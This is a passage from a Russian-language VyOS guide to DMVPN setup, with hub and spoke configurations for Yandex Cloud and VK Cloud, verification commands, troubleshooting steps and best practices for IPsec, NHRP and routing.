- Hub: VyOS в Yandex Cloud (публичный IP: 158.160.10.50)
- Spoke 1: Клиент A, офис Москва (динамический IP)
- Spoke 2: Клиент A, офис Санкт-Петербург (динамический IP)
- Spoke 3: Клиент B, офис Екатеринбург (статический IP: 95.163.20.100)

**Сети**:
- DMVPN tunnel: 10.100.0.0/24
- Hub: 10.100.0.1
- Клиент A, Москва: 10.100.0.10, LAN 192.168.10.0/24
- Клиент A, СПб: 10.100.0.11, LAN 192.168.11.0/24
- Клиент B, Екб: 10.100.0.20, LAN 192.168.20.0/24

### Конфигурация Hub в Yandex Cloud

```bash
# Tunnel интерфейс
set interfaces tunnel tun0 address '10.100.0.1/24'
set interfaces tunnel tun0 description 'DMVPN Hub for Service Provider'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '10.128.0.10'  # Внутренний IP VM в Yandex Cloud
set interfaces tunnel tun0 parameters ip key '100'
set interfaces tunnel tun0 mtu '1400'

# NHRP Hub конфигурация
set protocols nhrp tunnel tun0 cisco-authentication 'YC_DMVPN_2025'
set protocols nhrp tunnel tun0 holding-time '600'
set protocols nhrp tunnel tun0 multicast 'dynamic'
set protocols nhrp tunnel tun0 redirect
set protocols nhrp tunnel tun0 network-id '100'

# IPsec профиль
set vpn ipsec profile YC-DMVPN authentication mode 'pre-shared-secret'
set vpn ipsec profile YC-DMVPN authentication pre-shared-secret 'SuperSecretYC2025!'
set vpn ipsec profile YC-DMVPN bind tunnel 'tun0'
set vpn ipsec profile YC-DMVPN esp-group 'YC-ESP'
set vpn ipsec profile YC-DMVPN ike-group 'YC-IKE'

# ESP группа
set vpn ipsec esp-group YC-ESP lifetime '3600'
set vpn ipsec esp-group YC-ESP mode 'transport'
set vpn ipsec esp-group YC-ESP pfs 'dh-group14'
set vpn ipsec esp-group YC-ESP proposal 1 encryption 'aes256gcm128'
set vpn ipsec esp-group YC-ESP proposal 1 hash 'sha256'
set vpn ipsec esp-group YC-ESP proposal 2 encryption 'aes256'
set vpn ipsec esp-group YC-ESP proposal 2 hash 'sha256'

# IKE группа
set vpn ipsec ike-group YC-IKE ikev2-reauth
set vpn ipsec ike-group YC-IKE key-exchange 'ikev2'
set vpn ipsec ike-group YC-IKE lifetime '28800'
set vpn ipsec ike-group YC-IKE proposal 1 dh-group '14'
set vpn ipsec ike-group YC-IKE proposal 1 encryption 'aes256gcm128'
set vpn ipsec ike-group YC-IKE proposal 1 hash 'sha256'
set vpn ipsec ike-group YC-IKE proposal 2 dh-group '14'
set vpn ipsec ike-group YC-IKE proposal 2 encryption 'aes256'
set vpn ipsec ike-group YC-IKE proposal 2 hash 'sha256'
set vpn ipsec ike-group YC-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group YC-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group YC-IKE dead-peer-detection timeout '120'

# BGP для маршрутизации (каждый клиент - свой AS)
set protocols bgp system-as '65500'
set protocols bgp parameters router-id '10.100.0.1'

# Клиент A spokes (iBGP внутри клиента A)
set protocols bgp neighbor '10.100.0.10' remote-as '65001'
set protocols bgp neighbor '10.100.0.10' description 'Client A - Moscow'
set protocols bgp neighbor '10.100.0.10' address-family ipv4-unicast

set protocols bgp neighbor '10.100.0.11' remote-as '65001'
set protocols bgp neighbor '10.100.0.11' description 'Client A - SPb'
set protocols bgp neighbor '10.100.0.11' address-family ipv4-unicast

# Клиент B spoke
set protocols bgp neighbor '10.100.0.20' remote-as '65002'
set protocols bgp neighbor '10.100.0.20' description 'Client B - Ekaterinburg'
set protocols bgp neighbor '10.100.0.20' address-family ipv4-unicast

# Анонсирование сетей в Yandex Cloud (если есть)
set protocols bgp address-family ipv4-unicast network '10.128.0.0/24'

# Firewall правила для DMVPN
set firewall ipv4 name WAN_LOCAL rule 100 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 100 protocol 'gre'
set firewall ipv4 name WAN_LOCAL rule 100 description 'Allow GRE for DMVPN'

set firewall ipv4 name WAN_LOCAL rule 110 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 110 protocol 'esp'
set firewall ipv4 name WAN_LOCAL rule 110 description 'Allow ESP for IPsec'

set firewall ipv4 name WAN_LOCAL rule 111 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 111 destination port '500'
set firewall ipv4 name WAN_LOCAL rule 111 protocol 'udp'
set firewall ipv4 name WAN_LOCAL rule 111 description 'Allow ISAKMP'

set firewall ipv4 name WAN_LOCAL rule 112 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 112 destination port '4500'
set firewall ipv4 name WAN_LOCAL rule 112 protocol 'udp'
set firewall ipv4 name WAN_LOCAL rule 112 description 'Allow NAT-T'

# Применение firewall к WAN интерфейсу
set firewall ipv4 input filter rule 1000 action 'jump'
set firewall ipv4 input filter rule 1000 jump-target 'WAN_LOCAL'
set firewall ipv4 input filter rule 1000 inbound-interface name 'eth0'

# Разрешить forward между spokes (для spoke-to-spoke)
set firewall ipv4 forward filter rule 200 action 'accept'
set firewall ipv4 forward filter rule 200 inbound-interface name 'tun0'
set firewall ipv4 forward filter rule 200 outbound-interface name 'tun0'

commit
save
```

### Конфигурация Spoke (Клиент A, Москва)

```bash
# Tunnel интерфейс
set interfaces tunnel tun0 address '10.100.0.10/24'
set interfaces tunnel tun0 description 'DMVPN to YC Hub - Client A Moscow'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '192.0.2.50'  # WAN IP spoke
set interfaces tunnel tun0 parameters ip key '100'
set interfaces tunnel tun0 mtu '1400'

# NHRP Spoke конфигурация
set protocols nhrp tunnel tun0 cisco-authentication 'YC_DMVPN_2025'
set protocols nhrp tunnel tun0 map '10.100.0.1/32' nbma-address '158.160.10.50'
set protocols nhrp tunnel tun0 map '10.100.0.1/32' register
set protocols nhrp tunnel tun0 nhs '10.100.0.1'
set protocols nhrp tunnel tun0 shortcut
set protocols nhrp tunnel tun0 multicast 'nhs'
set protocols nhrp tunnel tun0 network-id '100'

# IPsec профиль (идентичный hub)
set vpn ipsec profile YC-DMVPN authentication mode 'pre-shared-secret'
set vpn ipsec profile YC-DMVPN authentication pre-shared-secret 'SuperSecretYC2025!'
set vpn ipsec profile YC-DMVPN bind tunnel 'tun0'
set vpn ipsec profile YC-DMVPN esp-group 'YC-ESP'
set vpn ipsec profile YC-DMVPN ike-group 'YC-IKE'

set vpn ipsec esp-group YC-ESP lifetime '3600'
set vpn ipsec esp-group YC-ESP mode 'transport'
set vpn ipsec esp-group YC-ESP pfs 'dh-group14'
set vpn ipsec esp-group YC-ESP proposal 1 encryption 'aes256gcm128'
set vpn ipsec esp-group YC-ESP proposal 1 hash 'sha256'
set vpn ipsec esp-group YC-ESP proposal 2 encryption 'aes256'
set vpn ipsec esp-group YC-ESP proposal 2 hash 'sha256'

set vpn ipsec ike-group YC-IKE ikev2-reauth
set vpn ipsec ike-group YC-IKE key-exchange 'ikev2'
set vpn ipsec ike-group YC-IKE lifetime '28800'
set vpn ipsec ike-group YC-IKE proposal 1 dh-group '14'
set vpn ipsec ike-group YC-IKE proposal 1 encryption 'aes256gcm128'
set vpn ipsec ike-group YC-IKE proposal 1 hash 'sha256'
set vpn ipsec ike-group YC-IKE proposal 2 dh-group '14'
set vpn ipsec ike-group YC-IKE proposal 2 encryption 'aes256'
set vpn ipsec ike-group YC-IKE proposal 2 hash 'sha256'
set vpn ipsec ike-group YC-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group YC-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group YC-IKE dead-peer-detection timeout '120'

# BGP
set protocols bgp system-as '65001'
set protocols bgp parameters router-id '10.100.0.10'

# Neighbor к Hub
set protocols bgp neighbor '10.100.0.1' remote-as '65500'
set protocols bgp neighbor '10.100.0.1' description 'YC Hub'
set protocols bgp neighbor '10.100.0.1' address-family ipv4-unicast

# iBGP к другому spoke клиента A (СПб)
set protocols bgp neighbor '10.100.0.11' remote-as '65001'
set protocols bgp neighbor '10.100.0.11' description 'Client A - SPb'
set protocols bgp neighbor '10.100.0.11' address-family ipv4-unicast

# Анонсирование локальной сети
set protocols bgp address-family ipv4-unicast network '192.168.10.0/24'

# Firewall
set firewall ipv4 input filter rule 200 action 'accept'
set firewall ipv4 input filter rule 200 protocol 'gre'

set firewall ipv4 input filter rule 210 action 'accept'
set firewall ipv4 input filter rule 210 protocol 'esp'

set firewall ipv4 input filter rule 211 action 'accept'
set firewall ipv4 input filter rule 211 destination port '500'
set firewall ipv4 input filter rule 211 protocol 'udp'

set firewall ipv4 input filter rule 212 action 'accept'
set firewall ipv4 input filter rule 212 destination port '4500'
set firewall ipv4 input filter rule 212 protocol 'udp'

commit
save
```

### Проверка подключения

На Hub:

```bash
# Показать NHRP cache (registered spokes)
show ip nhrp cache

# Показать NHS статус
show ip nhrp nhs

# Показать IPsec SA
show vpn ipsec sa

# Показать BGP neighbors
show ip bgp summary

# Показать BGP routes
show ip bgp
```

На Spoke:

```bash
# Проверить NHRP registration
show ip nhrp cache

# Проверить NHS
show ip nhrp nhs

# Проверить shortcut туннели
show ip nhrp shortcut

# Проверить IPsec SA
show vpn ipsec sa

# Ping hub
ping 10.100.0.1 source-address 10.100.0.10

# Ping другой spoke (инициирует spoke-to-spoke)
ping 10.100.0.20 source-address 10.100.0.10

# Проверить BGP
show ip bgp summary
show ip route bgp
```

## Практический пример: VK Cloud Enterprise Branch Connectivity

### Сценарий

Enterprise размещает DMVPN hub в VK Cloud для подключения филиалов компании.

**Топология**:
- Hub: VyOS в VK Cloud (публичный IP: 95.142.100.200)
- Spoke 1: Филиал Казань (192.168.100.0/24)
- Spoke 2: Филиал Нижний Новгород (192.168.101.0/24)
- Spoke 3: Филиал Самара (192.168.102.0/24)

**DMVPN tunnel**: 172.16.0.0/24

### Конфигурация Hub в VK Cloud

```bash
# Tunnel интерфейс
set interfaces tunnel tun0 address '172.16.0.1/24'
set interfaces tunnel tun0 description 'VK Cloud DMVPN Hub for Enterprise'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '10.0.1.10'  # Внутренний IP VM в VK Cloud
set interfaces tunnel tun0 parameters ip key '200'
set interfaces tunnel tun0 mtu '1400'

# NHRP Hub
set protocols nhrp tunnel tun0 cisco-authentication 'VK_Ent_25'
set protocols nhrp tunnel tun0 holding-time '600'
set protocols nhrp tunnel tun0 multicast 'dynamic'
set protocols nhrp tunnel tun0 redirect

# IPsec
set vpn ipsec profile VK-ENTERPRISE authentication mode 'pre-shared-secret'
set vpn ipsec profile VK-ENTERPRISE authentication pre-shared-secret 'EnterpriseVK!2025'
set vpn ipsec profile VK-ENTERPRISE bind tunnel 'tun0'
set vpn ipsec profile VK-ENTERPRISE esp-group 'VK-ESP'
set vpn ipsec profile VK-ENTERPRISE ike-group 'VK-IKE'

set vpn ipsec esp-group VK-ESP lifetime '3600'
set vpn ipsec esp-group VK-ESP mode 'transport'
set vpn ipsec esp-group VK-ESP pfs 'dh-group19'
set vpn ipsec esp-group VK-ESP proposal 1 encryption 'aes256gcm128'
set vpn ipsec esp-group VK-ESP proposal 1 hash 'sha256'

set vpn ipsec ike-group VK-IKE ikev2-reauth
set vpn ipsec ike-group VK-IKE key-exchange 'ikev2'
set vpn ipsec ike-group VK-IKE lifetime '28800'
set vpn ipsec ike-group VK-IKE proposal 1 dh-group '19'
set vpn ipsec ike-group VK-IKE proposal 1 encryption 'aes256gcm128'
set vpn ipsec ike-group VK-IKE proposal 1 hash 'sha256'
set vpn ipsec ike-group VK-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group VK-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group VK-IKE dead-peer-detection timeout '120'

# OSPF для маршрутизации между филиалами
set interfaces tunnel tun0 ip ospf network 'broadcast'
set interfaces tunnel tun0 ip ospf priority '255'

set protocols ospf area '0' network '172.16.0.0/24'
set protocols ospf area '0' network '10.0.1.0/24'
set protocols ospf parameters router-id '172.16.0.1'

# Firewall
set firewall ipv4 input filter rule 300 action 'accept'
set firewall ipv4 input filter rule 300 protocol 'gre'

set firewall ipv4 input filter rule 310 action 'accept'
set firewall ipv4 input filter rule 310 protocol 'esp'

set firewall ipv4 input filter rule 311 action 'accept'
set firewall ipv4 input filter rule 311 destination port '500'
set firewall ipv4 input filter rule 311 protocol 'udp'

set firewall ipv4 input filter rule 312 action 'accept'
set firewall ipv4 input filter rule 312 destination port '4500'
set firewall ipv4 input filter rule 312 protocol 'udp'

commit
save
```

### Конфигурация Spoke (Филиал Казань)

```bash
# Tunnel
set interfaces tunnel tun0 address '172.16.0.10/24'
set interfaces tunnel tun0 description 'DMVPN to VK Cloud Hub - Kazan Branch'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '93.80.50.100'  # WAN IP филиала
set interfaces tunnel tun0 parameters ip key '200'
set interfaces tunnel tun0 mtu '1400'

# NHRP
set protocols nhrp tunnel tun0 cisco-authentication 'VK_Ent_25'
set protocols nhrp tunnel tun0 map '172.16.0.1/32' nbma-address '95.142.100.200'
set protocols nhrp tunnel tun0 map '172.16.0.1/32' register
set protocols nhrp tunnel tun0 nhs '172.16.0.1'
set protocols nhrp tunnel tun0 shortcut
set protocols nhrp tunnel tun0 multicast 'nhs'

# IPsec (идентичный hub)
set vpn ipsec profile VK-ENTERPRISE authentication mode 'pre-shared-secret'
set vpn ipsec profile VK-ENTERPRISE authentication pre-shared-secret 'EnterpriseVK!2025'
set vpn ipsec profile VK-ENTERPRISE bind tunnel 'tun0'
set vpn ipsec profile VK-ENTERPRISE esp-group 'VK-ESP'
set vpn ipsec profile VK-ENTERPRISE ike-group 'VK-IKE'

set vpn ipsec esp-group VK-ESP lifetime '3600'
set vpn ipsec esp-group VK-ESP mode 'transport'
set vpn ipsec esp-group VK-ESP pfs 'dh-group19'
set vpn ipsec esp-group VK-ESP proposal 1 encryption 'aes256gcm128'
set vpn ipsec esp-group VK-ESP proposal 1 hash 'sha256'

set vpn ipsec ike-group VK-IKE ikev2-reauth
set vpn ipsec ike-group VK-IKE key-exchange 'ikev2'
set vpn ipsec ike-group VK-IKE lifetime '28800'
set vpn ipsec ike-group VK-IKE proposal 1 dh-group '19'
set vpn ipsec ike-group VK-IKE proposal 1 encryption 'aes256gcm128'
set vpn ipsec ike-group VK-IKE proposal 1 hash 'sha256'
set vpn ipsec ike-group VK-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group VK-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group VK-IKE dead-peer-detection timeout '120'

# OSPF
set interfaces tunnel tun0 ip ospf network 'broadcast'
set interfaces tunnel tun0 ip ospf priority '0'

set protocols ospf area '0' network '172.16.0.0/24'
set protocols ospf area '0' network '192.168.100.0/24'
set protocols ospf parameters router-id '172.16.0.10'

# Firewall
set firewall ipv4 input filter rule 300 action 'accept'
set firewall ipv4 input filter rule 300 protocol 'gre'

set firewall ipv4 input filter rule 310 action 'accept'
set firewall ipv4 input filter rule 310 protocol 'esp'

set firewall ipv4 input filter rule 311 action 'accept'
set firewall ipv4 input filter rule 311 destination port '500'
set firewall ipv4 input filter rule 311 protocol 'udp'

set firewall ipv4 input filter rule 312 action 'accept'
set firewall ipv4 input filter rule 312 destination port '4500'
set firewall ipv4 input filter rule 312 protocol 'udp'

commit
save
```

## Операционные команды

### Проверка NHRP

#### show ip nhrp cache

Показать NHRP cache (известные mappings):

```bash
show ip nhrp cache
```

Пример вывода на Hub:

```
Iface    Type    Protocol    NBMA            Tunnel          Flags
tun0     dynamic nhrp        198.51.100.10   10.255.0.10/32  registered UP
tun0     dynamic nhrp        198.51.100.20   10.255.0.20/32  registered UP
tun0     dynamic nhrp        95.163.20.100   10.255.0.30/32  registered UP
```

Флаги:
- **registered**: Spoke зарегистрирован на NHS
- **UP**: Туннель активен
- **dynamic**: Entry создан динамически

#### show ip nhrp nhs

Показать Next Hop Server статус:

```bash
show ip nhrp nhs
```

Пример вывода на Spoke:

```
Iface    NBMA            Tunnel          Flags
tun0     203.0.113.1     10.255.0.1/32   UP
```

#### show ip nhrp shortcut

Показать active spoke-to-spoke shortcuts:

```bash
show ip nhrp shortcut
```

Пример вывода:

```
Iface    Target          Via             Type
tun0     192.168.2.0/24  10.255.0.20     shortcut
```

Означает: трафик к 192.168.2.0/24 идет напрямую к 10.255.0.20 (spoke-to-spoke).

### Проверка IPsec

#### show vpn ipsec sa

Показать IPsec Security Associations:

```bash
show vpn ipsec sa
```

Пример вывода:

```
Connection        State    Uptime    Bytes In/Out
tun0-1            up       00:15:23  1.2M/856K
tun0-2            up       00:10:45  523K/412K
```

#### show vpn ipsec status

Показать общий статус IPsec:

```bash
show vpn ipsec status
```

### Проверка туннеля

#### show interfaces tunnel

Показать все туннельные интерфейсы:

```bash
show interfaces tunnel
```

#### show interfaces tunnel tun0

Детальная информация о туннеле:

```bash
show interfaces tunnel tun0
```

Пример вывода:

```
tun0: <POINTOPOINT,MULTICAST,UP,LOWER_UP> mtu 1400 qdisc pfifo_fast
    link/ipip 203.0.113.1 peer 0.0.0.0
    inet 10.255.0.1/24 brd 10.255.0.255 scope global tun0
    RX:  bytes    packets     errors    dropped    overrun      mcast
           1.2M       8543          0          0          0          0
    TX:  bytes    packets     errors    dropped    carrier   collisions
         856.3K       5432          0          0          0          0
```

#### ping через туннель

Проверить connectivity через DMVPN:

```bash
# Ping tunnel IP
ping 10.255.0.10

# Ping сеть за spoke
ping 192.168.1.1

# Ping с указанием source
ping 10.255.0.10 source-address 10.255.0.1
```

### Проверка маршрутизации

#### show ip route

Показать таблицу маршрутизации:

```bash
show ip route
```

Ищите маршруты через tun0 интерфейс.

#### show ip bgp

Показать BGP таблицу:

```bash
show ip bgp
```

#### show ip bgp summary

Краткая информация о BGP neighbors:

```bash
show ip bgp summary
```

#### show ip ospf neighbor

Показать OSPF соседей:

```bash
show ip ospf neighbor
```

### Диагностика трафика

#### monitor interfaces tunnel tun0 traffic

Мониторинг трафика в реальном времени:

```bash
monitor interfaces tunnel tun0 traffic
```

Для выхода: `Ctrl+C`

#### tcpdump на туннеле

Захват пакетов для детальной диагностики:

```bash
sudo tcpdump -i tun0 -nn
```

Пример - смотреть только NHRP:

```bash
sudo tcpdump -i tun0 -nn proto gre
```

## Устранение неполадок

### Туннель не поднимается

**Симптомы**:
- `show ip nhrp cache` на hub пустой
- `show ip nhrp nhs` на spoke показывает DOWN
- Нет connectivity через туннель

**Чек-лист**:

1. **Проверьте GRE на firewall**

На hub и spoke:
```bash
show firewall ipv4 input filter
```

Должно быть правило разрешающее GRE (protocol 47).

2. **Проверьте IPsec**

```bash
show vpn ipsec sa
```

Если SA не установлен:
- Проверьте pre-shared-secret (должен совпадать)
- Проверьте ESP/IKE groups (должны совпадать)
- Проверьте firewall для UDP 500, 4500 и ESP

3. **Проверьте NHRP authentication**

Пароль `cisco-authentication` должен совпадать на hub и spoke.

4. **Проверьте source-address на spoke**

```bash
show interfaces tunnel tun0
```

source-address должен быть реальным WAN IP или IP на WAN интерфейсе.

5. **Проверьте connectivity к hub**

```bash
ping 203.0.113.1  # Публичный IP hub
```

Если не пингуется - проблемы с маршрутизацией/firewall до hub.

### NHRP регистрация не происходит

**Симптомы**:
- Туннель UP, но spoke не появляется в `show ip nhrp cache` на hub
- На spoke `show ip nhrp nhs` показывает DOWN

**Решение**:

1. Проверьте NHRP map на spoke:

```bash
show protocols nhrp tunnel tun0
```

Должен быть map с register для hub:

```
map 10.255.0.1/32 nbma-address 203.0.113.1 register
```

2. Проверьте holding-time на hub:

```bash
show protocols nhrp tunnel tun0
```

Убедитесь что holding-time достаточный (300-600 секунд).

3. Проверьте network-id:

Если используется network-id, он должен совпадать на hub и spoke.

4. Перезапустите NHRP на spoke:

```bash
restart nhrp tunnel tun0
```

### Spoke-to-Spoke туннели не создаются

**Симптомы**:
- Hub-to-spoke работает
- Spoke-to-spoke трафик идет через hub
- `show ip nhrp shortcut` на spoke пустой

**Решение**:

1. Проверьте redirect на hub:

```bash
show protocols nhrp tunnel tun0
```

Должен быть `redirect` включен.

2. Проверьте shortcut на spoke:

```bash
show protocols nhrp tunnel tun0
```

Должен быть `shortcut` включен.

3. Проверьте маршрутизацию на spoke:

Spoke должны иметь маршруты к сетям за другими spoke через hub:

```bash
show ip route
```

Если маршрутов нет - проблема с динамической маршрутизацией (BGP/OSPF).

4. Инициируйте трафик spoke-to-spoke:

```bash
ping 192.168.2.1  # Сеть за другим spoke
```

После первых пакетов через hub должен создаться shortcut.

5. Проверьте NHRP resolution:

```bash
show log | match nhrp
```

Ищите NHRP resolution requests и responses.

### IPsec SA постоянно пересоздается

**Симптомы**:
- `show vpn ipsec sa` показывает малое uptime
- Туннель работает но нестабильно
- Логи показывают постоянное пересоздание SA

**Решение**:

1. Проверьте Dead Peer Detection:

```bash
show vpn ipsec ike-group
```

Убедитесь что DPD настроен корректно:
- action: restart
- interval: 30
- timeout: 120

2. Проверьте MTU:

Слишком большой MTU может вызывать проблемы. Попробуйте:

```bash
set interfaces tunnel tun0 mtu '1400'
commit
```

3. Проверьте NAT traversal:

Если spoke за NAT, убедитесь что UDP 4500 открыт.

4. Проверьте lifetime:

```bash
show vpn ipsec esp-group
show vpn ipsec ike-group
```

Слишком короткий lifetime вызывает частые rekeying.

### Производительность DMVPN низкая

**Симптомы**:
- Медленная передача данных через туннель
- Высокая latency
- Packet loss

**Решение**:

1. Проверьте MTU:

Фрагментация пакетов снижает производительность:

```bash
# Тест PMTU
ping 10.255.0.1 size 1400 do-not-fragment
```

Если пакеты не проходят, уменьшите MTU:

```bash
set interfaces tunnel tun0 mtu '1380'
commit
```

2. Проверьте MSS clamping:

Для TCP трафика настройте MSS clamping:

```bash
set firewall ipv4 forward filter rule 50 action 'accept'
set firewall ipv4 forward filter rule 50 protocol 'tcp'
set firewall ipv4 forward filter rule 50 tcp flags syn
set firewall ipv4 forward filter rule 50 tcp mss '1360:1536'
commit
```

3. Проверьте загрузку CPU:

```bash
show system cpu
```

GRE + IPsec требуют CPU. Если загрузка высокая - проблема в железе.

4. Проверьте bandwidth на WAN:

```bash
monitor interfaces eth0 traffic
```

Возможно WAN канал насыщен.

5. Отключите compression (если включен):

GRE compression обычно не нужен и снижает производительность.

### Multicast трафик не проходит

**Симптомы**:
- OSPF соседства не формируются
- Multicast приложения не работают
- EIGRP hello не проходят

**Решение**:

1. Проверьте multicast на туннеле:

```bash
show interfaces tunnel tun0
```

Должно быть `multicast enable`.

2. Проверьте NHRP multicast:

На hub:
```bash
show protocols nhrp tunnel tun0
```
Должно быть `multicast dynamic`.

На spoke:
```bash
show protocols nhrp tunnel tun0
```
Должно быть `multicast nhs`.

3. Проверьте IGMP:

```bash
show ip igmp groups
```

4. Тестируйте multicast:

На spoke отправьте multicast:
```bash
sudo ping -I tun0 224.0.0.5
```

На других spoke мониторьте:
```bash
sudo tcpdump -i tun0 -nn dst 224.0.0.5
```

## Лучшие практики

### Безопасность

1. **Используйте сильную аутентификацию**

- NHRP authentication минимум 8 символов
- IPsec pre-shared-secret минимум 20 символов
- Рассмотрите сертификаты для IPsec

2. **Современная криптография**

- AES-256-GCM для ESP encryption
- SHA-256 минимум для hash
- DH group 14 минимум (лучше 19/20)
- IKEv2 вместо IKEv1

3. **Ограничьте firewall**

Разрешайте GRE/IPsec только от известных источников (если возможно):

```bash
set firewall ipv4 input filter rule 200 action 'accept'
set firewall ipv4 input filter rule 200 protocol 'gre'
set firewall ipv4 input filter rule 200 source group address-group 'KNOWN_SPOKES'
```

4. **Ротация ключей**

Периодически меняйте:
- NHRP authentication password
- IPsec pre-shared-secrets
- IKE/ESP lifetime настройте для автоматического rekeying

### Масштабируемость

1. **Используйте BGP для больших сетей**

BGP масштабируется лучше OSPF для сотен spoke:
- Гибкая политика маршрутизации
- Атрибуты для traffic engineering
- Route reflectors для еще большего масштаба

2. **Summary маршруты на hub**

Не анонсируйте специфичные /32 маршруты spoke - используйте summarization.

3. **DMVPN Phase 3**

Для больших сетей используйте Phase 3 (summary routes + shortcut).

4. **Мониторинг ресурсов hub**

Hub - критичный компонент, мониторьте:
- CPU utilization
- Memory usage
- NHRP cache size
- IPsec SA count

### Надежность

1. **Dual-hub архитектура**

Для критичных сетей используйте два hub:
- Разные публичные IP
- Разные датацентры/облака
- Spoke с двумя NHS

2. **Dead Peer Detection**

Настройте DPD для быстрого обнаружения обрывов:

```bash
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection timeout '120'
```

3. **NHRP holding-time**

Баланс между overhead и скоростью обнаружения отказов:
- 300-600 секунд для стабильных сетей
- 120-300 секунд для нестабильных WAN

4. **Backup маршруты**

Настройте floating static routes как backup для DMVPN.

### Производительность

1. **Правильный MTU**

Определите оптимальный MTU для вашей сети:
- Стандартно: 1400 для GRE + IPsec
- Тестируйте PMTU: `ping size <value> do-not-fragment`
- MSS clamping для TCP

2. **Минимизируйте overhead**

- Не используйте compression без необходимости
- GRE key используйте только если нужна изоляция
- Избегайте nested туннелей

3. **Offloading (если доступен)**

На поддерживаемом железе включите crypto offloading для IPsec.

4. **QoS**

Для критичного трафика настройте QoS:

```bash
set traffic-policy shaper DMVPN-SHAPER bandwidth '100mbit'
set traffic-policy shaper DMVPN-SHAPER class 10 match 'voice' ip dscp 'ef'
set traffic-policy shaper DMVPN-SHAPER class 10 bandwidth '20%'
set traffic-policy shaper DMVPN-SHAPER class 10 priority '1'

set interfaces tunnel tun0 traffic-policy out 'DMVPN-SHAPER'
```

### Управление и мониторинг

1. **Документация**

Документируйте:
- Топологию DMVPN (какой spoke где)
- IP addressing plan (tunnel IPs, NBMA IPs)
- BGP AS numbers
- Контакты для каждого spoke

2. **Мониторинг**

Настройте мониторинг:
- NHRP cache size на hub
- IPsec SA status
- BGP/OSPF neighbor state
- Bandwidth utilization
- Packet loss/latency

3. **Логирование**

Включите логи для DMVPN событий:

```bash
set system syslog global facility local7 level 'debug'
set system syslog host 192.168.1.100 facility local7 level 'info'
```

4. **Централизованное управление**

Для больших сетей используйте:
- Ansible для автоматизации конфигурации
- Git для версионирования config
- VyOS API для программного управления

5. **Регулярное тестирование**

Периодически тестируйте:
- Failover на dual-hub
- Spoke-to-spoke tunnels
- Performance (throughput, latency)
- Recovery после сбоев

## Сравнение с другими VPN технологиями

| Характеристика | DMVPN | WireGuard | IPsec Site-to-Site | OpenVPN |
|---------------|-------|-----------|-------------------|---------|
| **Spoke-to-Spoke** | Да, динамически | Нет (manual) | Нет (manual) | Нет (manual) |
| **Масштабируемость** | Отлично (сотни spoke) | Хорошо | Плохо (N*N туннелей) | Средне |
| **Конфигурация spoke** | Минимальная | Простая | Для каждого peer | Простая (server-client) |
| **Динамические IP spoke** | Да | Да | Ограничено | Да |
| **Производительность** | Хорошо | Отлично | Хорошо | Средне |
| **Multicast** | Да (через NHRP) | Нет | Нет | Нет |
| **Динамическая маршрутизация** | Да (BGP/OSPF) | Нет нативно | Да (BGP/OSPF) | Да (BGP/OSPF) |
| **NAT traversal** | Да (через NAT-T) | Да | Да (NAT-T) | Да |
| **Redundancy** | Да (dual-hub) | Manual | Manual | Manual |
| **Стандартизация** | RFC | RFC | RFC | Нет (de-facto) |

**Когда использовать DMVPN**:
- Service provider с множеством клиентов
- Enterprise с множеством филиалов
- Нужны spoke-to-spoke туннели
- Масштабируемость критична
- Динамическая маршрутизация требуется

**Когда НЕ использовать DMVPN**:
- Малое количество site (2-3) - используйте WireGuard или IPsec
- Простота важнее функциональности - используйте WireGuard
- Производительность критична - используйте WireGuard
- Нет опыта с NHRP/GRE - используйте WireGuard

## Ресурсы и дополнительные материалы

### Официальная документация

- [VyOS DMVPN Documentation](https://docs.vyos.io/en/latest/configuration/vpn/dmvpn.html)
- [RFC 2332 - NBMA Next Hop Resolution Protocol (NHRP)](https://datatracker.ietf.org/doc/html/rfc2332)
- [RFC 1702 - Generic Routing Encapsulation over IPv4 networks](https://datatracker.ietf.org/doc/html/rfc1702)
- [RFC 4301 - Security Architecture for the Internet Protocol](https://datatracker.ietf.org/doc/html/rfc4301)

### VyOS командная справка

```bash
# Показать все NHRP команды
show ip nhrp ?

# Показать все IPsec команды
show vpn ipsec ?

# Показать все tunnel команды
show interfaces tunnel ?
```

### Связанные разделы документации

- [IPsec VPN](/docs/vyos/vpn/vyos-ipsec/) - для понимания IPsec интеграции
- [WireGuard](/docs/vyos/vpn/vyos-wireguard/) - альтернатива для простых сценариев
- [Firewall](/docs/vyos/firewall/) - настройка firewall для DMVPN
- [BGP](/docs/vyos/routing/vyos-bgp/) - динамическая маршрутизация через DMVPN
- [OSPF](/docs/vyos/routing/vyos-ospf/) - альтернативная маршрутизация

### Облачные платформы

- [Yandex Cloud VPC](https://cloud.yandex.ru/docs/vpc/)
- [VK Cloud Networks](https://cloud.vk.com/docs/networks)

### Сообщество и поддержка

- [VyOS Community Forums](https://forum.vyos.io/)
- [VyOS Slack](https://slack.vyos.io/)
- [VyOS GitHub](https://github.com/vyos)
- [OpenNIX Support](mailto:support@opennix.org) - для коммерческой поддержки

## Заключение

DMVPN - мощная технология для создания масштабируемых VPN сетей с динамическими spoke-to-spoke туннелями. VyOS предоставляет полную поддержку DMVPN включая NHRP, mGRE и IPsec интеграцию.

**Ключевые преимущества DMVPN**:
- Масштабируемость до сотен spoke узлов
- Автоматическое создание spoke-to-spoke туннелей
- Минимальная конфигурация на spoke
- Поддержка динамических IP адресов
